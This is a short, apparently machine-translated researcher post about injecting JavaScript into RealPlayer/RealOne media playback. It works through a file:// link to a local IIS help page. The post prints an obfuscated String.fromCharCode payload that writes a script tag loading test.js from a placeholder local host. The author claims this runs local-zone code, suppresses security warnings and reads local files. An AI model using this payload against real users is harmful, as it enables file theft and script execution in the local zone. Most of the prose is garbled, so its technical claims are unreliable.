There was this thing a long time ago, it was all used to hang horses, but it suddenly occurred to me that if I could jump to javascript: such a format would be a bit of a local implementation of the JS code, so it was tested. The result was depressing, and Realplay seemed to have a limit on it, And looking at the inserted RM file to see that it should be the limit, it seems to support the agreement is not much ah .... So try file:///, the results found is supported, so think of the previous period of time HTML injection, if combined should have a little effect.
Copy Code code as follows:
U 00:00:02 00:00:05 file://c:\windows\help\iishelp\common\400.htm#javascript:document.write (String.fromCharCode ( 60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,116,101,115,116,46,106 , 115,62,60,47,115,99,114,105,112,116,62))/
This piece of code inserted will appear a strange connection, click will execute my specified JS (Microsoft engineers are very careful, the HTML that is temporarily normally found on this one, but also the main point ..., and the fact that it is true that the local implementation, you can read the documents, hehe ... And in the case of realone playback, ie the local implementation of JS code warning incredibly will magically disappear, so put to the HTML page playback, really depressed, open any HTML will be warned, but still magically open the domain of the file ... It is not possible to use window.open under normal conditions. Domain restrictions can be broken, I hope to find a local problem of the HTML on the OK, hehe ...
I wish there was something wrong with the edges, and I felt it was possible:)
